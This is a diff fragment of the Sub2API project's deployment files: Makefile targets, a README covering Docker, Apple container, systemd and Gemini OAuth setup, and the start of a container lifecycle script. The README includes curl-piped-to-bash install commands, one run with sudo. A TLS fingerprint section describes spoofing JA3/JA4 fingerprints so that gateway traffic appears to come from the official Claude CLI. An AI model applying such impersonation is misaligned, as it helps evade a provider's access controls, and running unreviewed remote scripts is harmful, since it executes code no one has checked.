|
||||
@cd cmd/server && go generate
|
||||
@echo "Wire 代码生成完成"
|
||||
|
||||
build:
|
||||
@echo "构建后端(不嵌入前端)..."
|
||||
@go build -ldflags="$(LDFLAGS)" -o bin/server ./cmd/server
|
||||
@echo "构建完成: bin/server"
|
||||
|
||||
build-embed:
|
||||
@echo "构建后端(嵌入前端)..."
|
||||
@go build -tags embed -ldflags="$(LDFLAGS)" -o bin/server ./cmd/server
|
||||
@echo "构建完成: bin/server (with embedded frontend)"
|
||||
|
||||
test-unit:
|
||||
@go test -tags unit ./... -count=1
|
||||
|
||||
test-integration:
|
||||
@go test -tags integration ./... -count=1 -race -parallel=8
|
||||
|
||||
test-e2e:
|
||||
@echo "运行 E2E 测试(需要本地服务器运行)..."
|
||||
@go test -tags e2e ./internal/integration/... -count=1 -v
|
||||
|
||||
test-cover-integration:
|
||||
@echo "运行集成测试并生成覆盖率报告..."
|
||||
@go test -tags=integration -cover -coverprofile=coverage.out -count=1 -race -parallel=8 ./...
|
||||
@go tool cover -func=coverage.out | tail -1
|
||||
@go tool cover -html=coverage.out -o coverage.html
|
||||
@echo "覆盖率报告已生成: coverage.html"
|
||||
|
||||
clean-coverage:
|
||||
@rm -f coverage.out coverage.html
|
||||
@echo "覆盖率文件已清理"
|
||||
|
||||
clean: clean-coverage
|
||||
@rm -rf bin/
|
||||
@echo "构建产物已清理"
|
||||
@@ -0,0 +1,636 @@
|
||||
# Sub2API Deployment Files
|
||||
|
||||
This directory contains files for deploying Sub2API on Linux servers and Apple-silicon Macs.
|
||||
|
||||
## Deployment Methods
|
||||
|
||||
| Method | Best For | Setup Wizard |
|
||||
|--------|----------|--------------|
|
||||
| **Docker Compose** | Quick setup, all-in-one | Not needed (auto-setup) |
|
||||
| **Apple container** | Native local stack on macOS 26 | Not needed (auto-setup) |
|
||||
| **Binary Install** | Production servers, systemd | Web-based wizard |
|
||||
|
||||
## Files
|
||||
|
||||
| File | Description |
|
||||
|------|-------------|
|
||||
| `docker-compose.yml` | Docker Compose configuration (named volumes) |
|
||||
| `docker-compose.local.yml` | Docker Compose configuration (local directories, easy migration) |
|
||||
| `docker-deploy.sh` | **One-click Docker deployment script (recommended)** |
|
||||
| `apple-container.sh` | Native Apple `container` lifecycle script |
|
||||
| `APPLE_CONTAINER.md` | Apple `container` deployment and operations guide |
|
||||
| `.env.example` | Container environment variables template |
|
||||
| `DOCKER.md` | Docker Hub documentation |
|
||||
| `install.sh` | One-click binary installation script |
|
||||
| `install-datamanagementd.sh` | datamanagementd 一键安装脚本 |
|
||||
| `sub2api.service` | Systemd service unit file |
|
||||
| `sub2api-datamanagementd.service` | datamanagementd systemd service unit file |
|
||||
| `DATAMANAGEMENTD_CN.md` | datamanagementd 部署与联动说明(中文) |
|
||||
| `config.example.yaml` | Example configuration file |
|
||||
| `EDGE_SECURITY.md` | Reverse proxy, CDN/WAF, trusted proxy, and ingress hardening guide |
|
||||
|
||||
---
|
||||
|
||||
## Apple container Deployment
|
||||
|
||||
Apple-silicon Macs running macOS 26 can run the complete Sub2API, PostgreSQL, and Redis stack with Apple `container` 1.1.0 or newer:
|
||||
|
||||
```bash
|
||||
./apple-container.sh init
|
||||
./apple-container.sh up
|
||||
./apple-container.sh status
|
||||
./apple-container.sh logs app -f
|
||||
```
|
||||
|
||||
The script uses Apple named volumes, starts dependencies in order, and performs live readiness checks. It does not provide a continuous restart supervisor; run `./apple-container.sh up` after a host reboot. Docker Compose remains the recommended production deployment path.
|
||||
|
||||
See [APPLE_CONTAINER.md](./APPLE_CONTAINER.md) for configuration, upgrades, persistence, networking behavior, and limitations.
|
||||
|
||||
---
|
||||
|
||||
## Docker Deployment (Recommended)
|
||||
|
||||
### Method 1: One-Click Deployment (Recommended)
|
||||
|
||||
Use the automated preparation script for the easiest setup:
|
||||
|
||||
```bash
|
||||
# Download and run the preparation script
|
||||
curl -sSL https://raw.githubusercontent.com/Wei-Shaw/sub2api/main/deploy/docker-deploy.sh | bash
|
||||
|
||||
# Or download first, then run
|
||||
curl -sSL https://raw.githubusercontent.com/Wei-Shaw/sub2api/main/deploy/docker-deploy.sh -o docker-deploy.sh
|
||||
chmod +x docker-deploy.sh
|
||||
./docker-deploy.sh
|
||||
```
|
||||
|
||||
**What the script does:**
|
||||
- Downloads `docker-compose.local.yml` and `.env.example`
|
||||
- Automatically generates secure secrets (JWT_SECRET, TOTP_ENCRYPTION_KEY, POSTGRES_PASSWORD)
|
||||
- Creates `.env` file with generated secrets
|
||||
- Creates necessary data directories (data/, postgres_data/, redis_data/)
|
||||
- **Displays generated credentials** (POSTGRES_PASSWORD, JWT_SECRET, etc.)
|
||||
|
||||
**After running the script:**
|
||||
```bash
|
||||
# Start services
|
||||
docker compose -f docker-compose.local.yml up -d
|
||||
|
||||
# View logs
|
||||
docker compose -f docker-compose.local.yml logs -f sub2api
|
||||
|
||||
# If admin password was auto-generated, find it in logs:
|
||||
docker compose -f docker-compose.local.yml logs sub2api | grep "admin password"
|
||||
|
||||
# Access Web UI
|
||||
# http://localhost:8080
|
||||
```
|
||||
|
||||
### Method 2: Manual Deployment
|
||||
|
||||
If you prefer manual control:
|
||||
|
||||
```bash
|
||||
# Clone repository
|
||||
git clone https://github.com/Wei-Shaw/sub2api.git
|
||||
cd sub2api/deploy
|
||||
|
||||
# Configure environment
|
||||
cp .env.example .env
|
||||
chmod 600 .env
|
||||
nano .env # Set POSTGRES_PASSWORD and other required variables
|
||||
|
||||
# Generate secure secrets (recommended)
|
||||
JWT_SECRET=$(openssl rand -hex 32)
|
||||
TOTP_ENCRYPTION_KEY=$(openssl rand -hex 32)
|
||||
echo "JWT_SECRET=${JWT_SECRET}" >> .env
|
||||
echo "TOTP_ENCRYPTION_KEY=${TOTP_ENCRYPTION_KEY}" >> .env
|
||||
|
||||
# Create data directories
|
||||
mkdir -p data postgres_data redis_data
|
||||
|
||||
# Start all services using local directory version
|
||||
docker compose -f docker-compose.local.yml up -d
|
||||
|
||||
# View logs (check for auto-generated admin password)
|
||||
docker compose -f docker-compose.local.yml logs -f sub2api
|
||||
|
||||
# Access Web UI
|
||||
# http://localhost:8080
|
||||
```
|
||||
|
||||
### Deployment Version Comparison
|
||||
|
||||
| Version | Data Storage | Migration | Best For |
|
||||
|---------|-------------|-----------|----------|
|
||||
| **docker-compose.local.yml** | Local directories (./data, ./postgres_data, ./redis_data) | ✅ Easy (tar entire directory) | Production, need frequent backups/migration |
|
||||
| **docker-compose.yml** | Named volumes (/var/lib/docker/volumes/) | ⚠️ Requires docker commands | Simple setup, don't need migration |
|
||||
|
||||
**Recommendation:** Use `docker-compose.local.yml` (deployed by `docker-deploy.sh`) for easier data management and migration.
|
||||
|
||||
### How Auto-Setup Works
|
||||
|
||||
When using Docker Compose with `AUTO_SETUP=true`:
|
||||
|
||||
1. On first run, the system automatically:
|
||||
- Connects to PostgreSQL and Redis
|
||||
- Applies database migrations (SQL files in `backend/migrations/*.sql`) and records them in `schema_migrations`
|
||||
- Generates JWT secret (if not provided)
|
||||
- Creates admin account (password auto-generated if not provided)
|
||||
- Writes config.yaml
|
||||
|
||||
2. No manual Setup Wizard needed - just configure `.env` and start
|
||||
|
||||
3. If `ADMIN_PASSWORD` is not set, check logs for the generated password:
|
||||
```bash
|
||||
docker compose logs sub2api | grep "admin password"
|
||||
```
|
||||
|
||||
### Database Migration Notes (PostgreSQL)
|
||||
|
||||
- Migrations are applied in lexicographic order (e.g. `001_...sql`, `002_...sql`).
|
||||
- `schema_migrations` tracks applied migrations (filename + checksum).
|
||||
- Migrations are forward-only; rollback requires a DB backup restore or a manual compensating SQL script.
|
||||
|
||||
**Verify `users.allowed_groups` → `user_allowed_groups` backfill**
|
||||
|
||||
During the incremental GORM→Ent migration, `users.allowed_groups` (legacy `BIGINT[]`) is being replaced by a normalized join table `user_allowed_groups(user_id, group_id)`.
|
||||
|
||||
Run this query to compare the legacy data vs the join table:
|
||||
|
||||
```sql
|
||||
WITH old_pairs AS (
|
||||
SELECT DISTINCT u.id AS user_id, x.group_id
|
||||
FROM users u
|
||||
CROSS JOIN LATERAL unnest(u.allowed_groups) AS x(group_id)
|
||||
WHERE u.allowed_groups IS NOT NULL
|
||||
)
|
||||
SELECT
|
||||
(SELECT COUNT(*) FROM old_pairs) AS old_pair_count,
|
||||
(SELECT COUNT(*) FROM user_allowed_groups) AS new_pair_count;
|
||||
```
|
||||
|
||||
### datamanagementd(数据管理)联动
|
||||
|
||||
如需启用管理后台“数据管理”功能,请额外部署宿主机 `datamanagementd`:
|
||||
|
||||
- 主进程固定探测 `/tmp/sub2api-datamanagement.sock`
|
||||
- Docker 场景下需把宿主机 Socket 挂载到容器内同路径
|
||||
- 详细步骤见:`deploy/DATAMANAGEMENTD_CN.md`
|
||||
|
||||
### Commands
|
||||
|
||||
For **local directory version** (docker-compose.local.yml):
|
||||
|
||||
```bash
|
||||
# Start services
|
||||
docker compose -f docker-compose.local.yml up -d
|
||||
|
||||
# Stop services
|
||||
docker compose -f docker-compose.local.yml down
|
||||
|
||||
# View logs
|
||||
docker compose -f docker-compose.local.yml logs -f sub2api
|
||||
|
||||
# Restart Sub2API only
|
||||
docker compose -f docker-compose.local.yml restart sub2api
|
||||
|
||||
# Update to latest version
|
||||
docker compose -f docker-compose.local.yml pull
|
||||
docker compose -f docker-compose.local.yml up -d
|
||||
|
||||
# Remove all data (caution!)
|
||||
docker compose -f docker-compose.local.yml down
|
||||
rm -rf data/ postgres_data/ redis_data/
|
||||
```
|
||||
|
||||
For **named volumes version** (docker-compose.yml):
|
||||
|
||||
```bash
|
||||
# Start services
|
||||
docker compose up -d
|
||||
|
||||
# Stop services
|
||||
docker compose down
|
||||
|
||||
# View logs
|
||||
docker compose logs -f sub2api
|
||||
|
||||
# Restart Sub2API only
|
||||
docker compose restart sub2api
|
||||
|
||||
# Update to latest version
|
||||
docker compose pull
|
||||
docker compose up -d
|
||||
|
||||
# Remove all data (caution!)
|
||||
docker compose down -v
|
||||
```
|
||||
|
||||
### Environment Variables
|
||||
|
||||
| Variable | Required | Default | Description |
|
||||
|----------|----------|---------|-------------|
|
||||
| `POSTGRES_PASSWORD` | **Yes** | - | PostgreSQL password |
|
||||
| `JWT_SECRET` | **Recommended** | *(auto-generated)* | JWT secret (fixed for persistent sessions) |
|
||||
| `TOTP_ENCRYPTION_KEY` | **Recommended** | *(auto-generated)* | TOTP encryption key (fixed for persistent 2FA) |
|
||||
| `SERVER_PORT` | No | `8080` | Server port |
|
||||
| `ADMIN_EMAIL` | No | `admin@sub2api.local` | Admin email |
|
||||
| `ADMIN_PASSWORD` | No | *(auto-generated)* | Admin password |
|
||||
| `TZ` | No | `Asia/Shanghai` | Timezone |
|
||||
| `UPDATE_GITHUB_TOKEN` | No | *(empty)* | Token for `api.github.com` release checks only; asset downloads remain anonymous. |
|
||||
| `GEMINI_OAUTH_CLIENT_ID` | No | *(builtin)* | Google OAuth client ID (Gemini OAuth). Leave empty to use the built-in Gemini CLI client. |
|
||||
| `GEMINI_OAUTH_CLIENT_SECRET` | No | *(builtin)* | Google OAuth client secret (Gemini OAuth). Leave empty to use the built-in Gemini CLI client. |
|
||||
| `GEMINI_OAUTH_SCOPES` | No | *(default)* | OAuth scopes (Gemini OAuth) |
|
||||
| `GEMINI_QUOTA_POLICY` | No | *(empty)* | JSON overrides for Gemini local quota simulation (Code Assist only). |
|
||||
|
||||
See `.env.example` for all available options.
|
||||
|
||||
> **Note:** The `docker-deploy.sh` script automatically generates `JWT_SECRET`, `TOTP_ENCRYPTION_KEY`, and `POSTGRES_PASSWORD` for you.
|
||||
|
||||
### Easy Migration (Local Directory Version)
|
||||
|
||||
When using `docker-compose.local.yml`, all data is stored in local directories, making migration simple:
|
||||
|
||||
```bash
|
||||
# On source server: Stop services and create archive
|
||||
cd /path/to/deployment
|
||||
docker compose -f docker-compose.local.yml down
|
||||
cd ..
|
||||
tar czf sub2api-complete.tar.gz deployment/
|
||||
|
||||
# Transfer to new server
|
||||
scp sub2api-complete.tar.gz user@new-server:/path/to/destination/
|
||||
|
||||
# On new server: Extract and start
|
||||
tar xzf sub2api-complete.tar.gz
|
||||
cd deployment/
|
||||
docker compose -f docker-compose.local.yml up -d
|
||||
```
|
||||
|
||||
Your entire deployment (configuration + data) is migrated!
|
||||
|
||||
---
|
||||
|
||||
## Gemini OAuth Configuration
|
||||
|
||||
Sub2API supports three methods to connect to Gemini:
|
||||
|
||||
### Method 1: Code Assist OAuth (Recommended for GCP Users)
|
||||
|
||||
**No configuration needed** - always uses the built-in Gemini CLI OAuth client (public).
|
||||
|
||||
1. Leave `GEMINI_OAUTH_CLIENT_ID` and `GEMINI_OAUTH_CLIENT_SECRET` empty
|
||||
2. In the Admin UI, create a Gemini OAuth account and select **"Code Assist"** type
|
||||
3. Complete the OAuth flow in your browser
|
||||
|
||||
> Note: Even if you configure `GEMINI_OAUTH_CLIENT_ID` / `GEMINI_OAUTH_CLIENT_SECRET` for AI Studio OAuth,
|
||||
> Code Assist OAuth will still use the built-in Gemini CLI client.
|
||||
|
||||
**Requirements:**
|
||||
- Google account with access to Google Cloud Platform
|
||||
- A GCP project (auto-detected or manually specified)
|
||||
|
||||
**How to get Project ID (if auto-detection fails):**
|
||||
1. Go to [Google Cloud Console](https://console.cloud.google.com/)
|
||||
2. Click the project dropdown at the top of the page
|
||||
3. Copy the Project ID (not the project name) from the list
|
||||
4. Common formats: `my-project-123456` or `cloud-ai-companion-xxxxx`
|
||||
|
||||
### Method 2: AI Studio OAuth (For Regular Google Accounts)
|
||||
|
||||
Requires your own OAuth client credentials.
|
||||
|
||||
**Step 1: Create OAuth Client in Google Cloud Console**
|
||||
|
||||
1. Go to [Google Cloud Console - Credentials](https://console.cloud.google.com/apis/credentials)
|
||||
2. Create a new project or select an existing one
|
||||
3. **Enable the Generative Language API:**
|
||||
- Go to "APIs & Services" → "Library"
|
||||
- Search for "Generative Language API"
|
||||
- Click "Enable"
|
||||
4. **Configure OAuth Consent Screen** (if not done):
|
||||
- Go to "APIs & Services" → "OAuth consent screen"
|
||||
- Choose "External" user type
|
||||
- Fill in app name, user support email, developer contact
|
||||
- Add scopes: `https://www.googleapis.com/auth/generative-language.retriever` (and optionally `https://www.googleapis.com/auth/cloud-platform`)
|
||||
- Add test users (your Google account email)
|
||||
5. **Create OAuth 2.0 credentials:**
|
||||
- Go to "APIs & Services" → "Credentials"
|
||||
- Click "Create Credentials" → "OAuth client ID"
|
||||
- Application type: **Web application** (or **Desktop app**)
|
||||
- Name: e.g., "Sub2API Gemini"
|
||||
- Authorized redirect URIs: Add `http://localhost:1455/auth/callback`
|
||||
6. Copy the **Client ID** and **Client Secret**
|
||||
7. **⚠️ Publish to Production (IMPORTANT):**
|
||||
- Go to "APIs & Services" → "OAuth consent screen"
|
||||
- Click "PUBLISH APP" to move from Testing to Production
|
||||
- **Testing mode limitations:**
|
||||
- Only manually added test users can authenticate (max 100 users)
|
||||
- Refresh tokens expire after 7 days
|
||||
- Users must be re-added periodically
|
||||
- **Production mode:** Any Google user can authenticate, tokens don't expire
|
||||
- Note: For sensitive scopes, Google may require verification (demo video, privacy policy)
|
||||
|
||||
**Step 2: Configure Environment Variables**
|
||||
|
||||
```bash
|
||||
GEMINI_OAUTH_CLIENT_ID=your-client-id.apps.googleusercontent.com
|
||||
GEMINI_OAUTH_CLIENT_SECRET=GOCSPX-your-client-secret
|
||||
|
||||
# 可选:如需使用 Gemini CLI 内置 OAuth Client(Code Assist / Google One)
|
||||
# 安全说明:本仓库不会内置该 client_secret,请在运行环境通过环境变量注入。
|
||||
# GEMINI_CLI_OAUTH_CLIENT_SECRET=GOCSPX-your-built-in-secret
|
||||
```
|
||||
|
||||
**Step 3: Create Account in Admin UI**
|
||||
|
||||
1. Create a Gemini OAuth account and select **"AI Studio"** type
|
||||
2. Complete the OAuth flow
|
||||
- After consent, your browser will be redirected to `http://localhost:1455/auth/callback?code=...&state=...`
|
||||
- Copy the full callback URL (recommended) or just the `code` and paste it back into the Admin UI
|
||||
|
||||
### Method 3: API Key (Simplest)
|
||||
|
||||
1. Go to [Google AI Studio](https://aistudio.google.com/app/apikey)
|
||||
2. Click "Create API key"
|
||||
3. In Admin UI, create a Gemini **API Key** account
|
||||
4. Paste your API key (starts with `AIza...`)
|
||||
|
||||
### Comparison Table
|
||||
|
||||
| Feature | Code Assist OAuth | AI Studio OAuth | API Key |
|
||||
|---------|-------------------|-----------------|---------|
|
||||
| Setup Complexity | Easy (no config) | Medium (OAuth client) | Easy |
|
||||
| GCP Project Required | Yes | No | No |
|
||||
| Custom OAuth Client | No (built-in) | Yes (required) | N/A |
|
||||
| Rate Limits | GCP quota | Standard | Standard |
|
||||
| Best For | GCP developers | Regular users needing OAuth | Quick testing |
|
||||
|
||||
---
|
||||
|
||||
## Binary Installation
|
||||
|
||||
For production servers using systemd.
|
||||
|
||||
### One-Line Installation
|
||||
|
||||
```bash
|
||||
curl -sSL https://raw.githubusercontent.com/Wei-Shaw/sub2api/main/deploy/install.sh | sudo bash
|
||||
```
|
||||
|
||||
### Manual Installation
|
||||
|
||||
1. Download the latest release from [GitHub Releases](https://github.com/Wei-Shaw/sub2api/releases)
|
||||
2. Extract and copy the binary to `/opt/sub2api/`
|
||||
3. Copy `sub2api.service` to `/etc/systemd/system/`
|
||||
4. Run:
|
||||
```bash
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl enable sub2api
|
||||
sudo systemctl start sub2api
|
||||
```
|
||||
5. Open the Setup Wizard in your browser to complete configuration
|
||||
|
||||
### Commands
|
||||
|
||||
```bash
|
||||
# Install
|
||||
sudo ./install.sh
|
||||
|
||||
# Upgrade
|
||||
sudo ./install.sh upgrade
|
||||
|
||||
# Uninstall
|
||||
sudo ./install.sh uninstall
|
||||
```
|
||||
|
||||
### Service Management
|
||||
|
||||
```bash
|
||||
# Start the service
|
||||
sudo systemctl start sub2api
|
||||
|
||||
# Stop the service
|
||||
sudo systemctl stop sub2api
|
||||
|
||||
# Restart the service
|
||||
sudo systemctl restart sub2api
|
||||
|
||||
# Check status
|
||||
sudo systemctl status sub2api
|
||||
|
||||
# View logs
|
||||
sudo journalctl -u sub2api -f
|
||||
|
||||
# Enable auto-start on boot
|
||||
sudo systemctl enable sub2api
|
||||
```
|
||||
|
||||
### Configuration
|
||||
|
||||
#### Server Address and Port
|
||||
|
||||
During installation, you will be prompted to configure the server listen address and port. These settings are stored in the systemd service file as environment variables.
|
||||
|
||||
To change after installation:
|
||||
|
||||
1. Edit the systemd service:
|
||||
```bash
|
||||
sudo systemctl edit sub2api
|
||||
```
|
||||
|
||||
2. Add or modify:
|
||||
```ini
|
||||
[Service]
|
||||
Environment=SERVER_HOST=0.0.0.0
|
||||
Environment=SERVER_PORT=3000
|
||||
```
|
||||
|
||||
3. Reload and restart:
|
||||
```bash
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl restart sub2api
|
||||
```
|
||||
|
||||
#### Gemini OAuth Configuration
|
||||
|
||||
If you need to use AI Studio OAuth for Gemini accounts, add the OAuth client credentials to the systemd service file:
|
||||
|
||||
1. Edit the service file:
|
||||
```bash
|
||||
sudo nano /etc/systemd/system/sub2api.service
|
||||
```
|
||||
|
||||
2. Add your OAuth credentials in the `[Service]` section (after the existing `Environment=` lines):
|
||||
```ini
|
||||
Environment=GEMINI_OAUTH_CLIENT_ID=your-client-id.apps.googleusercontent.com
|
||||
Environment=GEMINI_OAUTH_CLIENT_SECRET=GOCSPX-your-client-secret
|
||||
```
|
||||
|
||||
如需使用“内置 Gemini CLI OAuth Client”(Code Assist / Google One),还需要注入:
|
||||
```ini
|
||||
Environment=GEMINI_CLI_OAUTH_CLIENT_SECRET=GOCSPX-your-built-in-secret
|
||||
```
|
||||
|
||||
3. Reload and restart:
|
||||
```bash
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl restart sub2api
|
||||
```
|
||||
|
||||
> **Note:** Code Assist OAuth does not require any configuration - it uses the built-in Gemini CLI client.
|
||||
> See the [Gemini OAuth Configuration](#gemini-oauth-configuration) section above for detailed setup instructions.
|
||||
|
||||
#### Application Configuration
|
||||
|
||||
The main config file is at `/etc/sub2api/config.yaml` (created by Setup Wizard).
|
||||
|
||||
### Prerequisites
|
||||
|
||||
- Linux server (Ubuntu 20.04+, Debian 11+, CentOS 8+, etc.)
|
||||
- PostgreSQL 14+
|
||||
- Redis 6+
|
||||
- systemd
|
||||
|
||||
### Directory Structure
|
||||
|
||||
```
|
||||
/opt/sub2api/
|
||||
├── sub2api # Main binary
|
||||
├── sub2api.backup # Backup (after upgrade)
|
||||
└── data/ # Runtime data
|
||||
|
||||
/etc/sub2api/
|
||||
└── config.yaml # Configuration file
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Docker
|
||||
|
||||
For **local directory version**:
|
||||
|
||||
```bash
|
||||
# Check container status
|
||||
docker compose -f docker-compose.local.yml ps
|
||||
|
||||
# View detailed logs
|
||||
docker compose -f docker-compose.local.yml logs --tail=100 sub2api
|
||||
|
||||
# Check database connection
|
||||
docker compose -f docker-compose.local.yml exec postgres pg_isready
|
||||
|
||||
# Check Redis connection
|
||||
docker compose -f docker-compose.local.yml exec redis redis-cli ping
|
||||
|
||||
# Restart all services
|
||||
docker compose -f docker-compose.local.yml restart
|
||||
|
||||
# Check data directories
|
||||
ls -la data/ postgres_data/ redis_data/
|
||||
```
|
||||
|
||||
For **named volumes version**:
|
||||
|
||||
```bash
|
||||
# Check container status
|
||||
docker compose ps
|
||||
|
||||
# View detailed logs
|
||||
docker compose logs --tail=100 sub2api
|
||||
|
||||
# Check database connection
|
||||
docker compose exec postgres pg_isready
|
||||
|
||||
# Check Redis connection
|
||||
docker compose exec redis redis-cli ping
|
||||
|
||||
# Restart all services
|
||||
docker compose restart
|
||||
```
|
||||
|
||||
### Binary Install
|
||||
|
||||
```bash
|
||||
# Check service status
|
||||
sudo systemctl status sub2api
|
||||
|
||||
# View recent logs
|
||||
sudo journalctl -u sub2api -n 50
|
||||
|
||||
# Check config file
|
||||
sudo cat /etc/sub2api/config.yaml
|
||||
|
||||
# Check PostgreSQL
|
||||
sudo systemctl status postgresql
|
||||
|
||||
# Check Redis
|
||||
sudo systemctl status redis
|
||||
```
|
||||
|
||||
### Common Issues
|
||||
|
||||
1. **Port already in use**: Change `SERVER_PORT` in `.env` or systemd config
|
||||
2. **Database connection failed**: Check PostgreSQL is running and credentials are correct
|
||||
3. **Redis connection failed**: Check Redis is running and password is correct
|
||||
4. **Permission denied**: Ensure proper file ownership for binary install
|
||||
|
||||
---
|
||||
|
||||
## TLS Fingerprint Configuration
|
||||
|
||||
Sub2API supports TLS fingerprint simulation to make requests appear as if they come from the official Claude CLI (Node.js client).
|
||||
|
||||
> **💡 Tip:** Visit **[tls.sub2api.org](https://tls.sub2api.org/)** to get TLS fingerprint information for different devices and browsers.
|
||||
|
||||
### Default Behavior
|
||||
|
||||
- Built-in `claude_cli_v2` profile simulates Node.js 20.x + OpenSSL 3.x
|
||||
- JA3 Hash: `1a28e69016765d92e3b381168d68922c`
|
||||
- JA4: `t13d5911h1_a33745022dd6_1f22a2ca17c4`
|
||||
- Profile selection: `accountID % profileCount`
|
||||
|
||||
### Configuration
|
||||
|
||||
```yaml
|
||||
gateway:
|
||||
tls_fingerprint:
|
||||
enabled: true # Global switch
|
||||
profiles:
|
||||
# Simple profile (uses default cipher suites)
|
||||
profile_1:
|
||||
name: "Profile 1"
|
||||
|
||||
# Profile with custom cipher suites (use compact array format)
|
||||
profile_2:
|
||||
name: "Profile 2"
|
||||
cipher_suites: [4866, 4867, 4865, 49199, 49195, 49200, 49196]
|
||||
curves: [29, 23, 24]
|
||||
point_formats: 0
|
||||
|
||||
# Another custom profile
|
||||
profile_3:
|
||||
name: "Profile 3"
|
||||
cipher_suites: [4865, 4866, 4867, 49199, 49200]
|
||||
curves: [29, 23, 24, 25]
|
||||
```
|
||||
|
||||
### Profile Fields
|
||||
|
||||
| Field | Type | Description |
|
||||
|-------|------|-------------|
|
||||
| `name` | string | Display name (required) |
|
||||
| `cipher_suites` | []uint16 | Cipher suites in decimal. Empty = default |
|
||||
| `curves` | []uint16 | Elliptic curves in decimal. Empty = default |
|
||||
| `point_formats` | []uint8 | EC point formats. Empty = default |
|
||||
|
||||
### Common Values Reference
|
||||
|
||||
**Cipher Suites (TLS 1.3):** `4865` (AES_128_GCM), `4866` (AES_256_GCM), `4867` (CHACHA20)
|
||||
|
||||
**Cipher Suites (TLS 1.2):** `49195`, `49196`, `49199`, `49200` (ECDHE variants)
|
||||
|
||||
**Curves:** `29` (X25519), `23` (P-256), `24` (P-384), `25` (P-521)
|
||||
Executable
+926
@@ -0,0 +1,926 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
ENV_FILE="${SUB2API_ENV_FILE:-${SCRIPT_DIR}/.env}"
|
||||
|
||||
STACK_LABEL_KEY="org.sub2api.stack"
|
||||
STACK_LABEL_VALUE="apple-container"
|
||||
NETWORK_NAME="sub2api-apple"
|
||||
APP_CONTAINER="sub2api-apple"
|
||||
POSTGRES_CONTAINER="sub2api-apple-postgres"
|
||||
REDIS_CONTAINER="sub2api-apple-redis"
|
||||
APP_VOLUME="sub2api-apple-data"
|
||||
POSTGRES_VOLUME="sub2api-apple-postgres-data"
|
||||
REDIS_VOLUME="sub2api-apple-redis-data"
|
||||
PLATFORM="linux/arm64"
|
||||
|
||||
TEMP_DIR=""
|
||||
LOCK_DIR="${TMPDIR:-/tmp}/sub2api-apple-container.lock"
|
||||
LOCK_ACQUIRED=false
|
||||
|
||||
APP_IMAGE=""
|
||||
POSTGRES_IMAGE=""
|
||||
REDIS_IMAGE=""
|
||||
BIND_HOST=""
|
||||
HOST_PORT=""
|
||||
ACCESS_HOST=""
|
||||
POSTGRES_USER=""
|
||||
POSTGRES_PASSWORD=""
|
||||
POSTGRES_DB=""
|
||||
REDIS_PASSWORD=""
|
||||
TZ_VALUE=""
|
||||
POSTGRES_ADDRESS=""
|
||||
REDIS_ADDRESS=""
|
||||
APP_ENV_FILE=""
|
||||
POSTGRES_ENV_FILE=""
|
||||
POSTGRES_PROBE_ENV_FILE=""
|
||||
REDIS_ENV_FILE=""
|
||||
|
||||
info() {
|
||||
printf '[INFO] %s\n' "$*"
|
||||
}
|
||||
|
||||
warn() {
|
||||
printf '[WARN] %s\n' "$*" >&2
|
||||
}
|
||||
|
||||
die() {
|
||||
printf '[ERROR] %s\n' "$*" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
usage() {
|
||||
cat <<'EOF'
|
||||
Usage: ./apple-container.sh <command> [options]
|
||||
|
||||
Commands:
|
||||
init Create .env and generate required secrets
|
||||
up [--recreate] Create and start the complete Sub2API stack
|
||||
down Stop the stack and preserve all data
|
||||
restart Restart the stack in dependency order
|
||||
status Show container and workload health
|
||||
logs <service> [-f] Show logs for app, postgres, or redis
|
||||
pull Pull all stack images for linux/arm64
|
||||
destroy [options] Delete stack containers and network
|
||||
|
||||
Destroy options:
|
||||
--volumes Also delete all persistent data volumes
|
||||
--yes Skip the confirmation prompt
|
||||
|
||||
Environment:
|
||||
SUB2API_ENV_FILE Path to the deployment env file (default: deploy/.env)
|
||||
EOF
|
||||
}
|
||||
|
||||
cleanup() {
|
||||
local exit_code=$?
|
||||
|
||||
if [[ -n "${TEMP_DIR}" && -d "${TEMP_DIR}" ]]; then
|
||||
rm -rf "${TEMP_DIR}"
|
||||
fi
|
||||
if [[ "${LOCK_ACQUIRED}" == true && -d "${LOCK_DIR}" ]]; then
|
||||
rm -f "${LOCK_DIR}/pid"
|
||||
rmdir "${LOCK_DIR}" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
exit "${exit_code}"
|
||||
}
|
||||
|
||||
acquire_lock() {
|
||||
if ! mkdir "${LOCK_DIR}" 2>/dev/null; then
|
||||
local owner_pid=""
|
||||
if [[ -f "${LOCK_DIR}/pid" ]]; then
|
||||
owner_pid="$(<"${LOCK_DIR}/pid")"
|
||||
fi
|
||||
if [[ "${owner_pid}" =~ ^[0-9]+$ ]] && ! kill -0 "${owner_pid}" 2>/dev/null; then
|
||||
rm -rf "${LOCK_DIR}"
|
||||
mkdir "${LOCK_DIR}" || die "Failed to reclaim stale operation lock."
|
||||
else
|
||||
die "Another Sub2API Apple container operation is already running."
|
||||
fi
|
||||
fi
|
||||
printf '%s\n' "$$" >"${LOCK_DIR}/pid"
|
||||
LOCK_ACQUIRED=true
|
||||
trap cleanup EXIT
|
||||
trap 'exit 130' INT
|
||||
trap 'exit 143' TERM
|
||||
trap 'exit 129' HUP
|
||||
}
|
||||
|
||||
require_command() {
|
||||
command -v "$1" >/dev/null 2>&1 || die "Required command not found: $1"
|
||||
}
|
||||
|
||||
require_container_version() {
|
||||
local version_output major minor
|
||||
|
||||
require_command container
|
||||
require_command plutil
|
||||
version_output="$(container --version)"
|
||||
if [[ ! "${version_output}" =~ ([0-9]+)\.([0-9]+)\.([0-9]+) ]]; then
|
||||
die "Unable to parse Apple container version: ${version_output}"
|
||||
fi
|
||||
|
||||
major="${BASH_REMATCH[1]}"
|
||||
minor="${BASH_REMATCH[2]}"
|
||||
if (( major < 1 || (major == 1 && minor < 1) )); then
|
||||
die "Apple container 1.1.0 or newer is required; found ${version_output}."
|
||||
fi
|
||||
}
|
||||
|
||||
system_is_running() {
|
||||
container system status >/dev/null 2>&1
|
||||
}
|
||||
|
||||
start_system() {
|
||||
if ! system_is_running; then
|
||||
info "Starting Apple container services..."
|
||||
container system start --enable-kernel-install
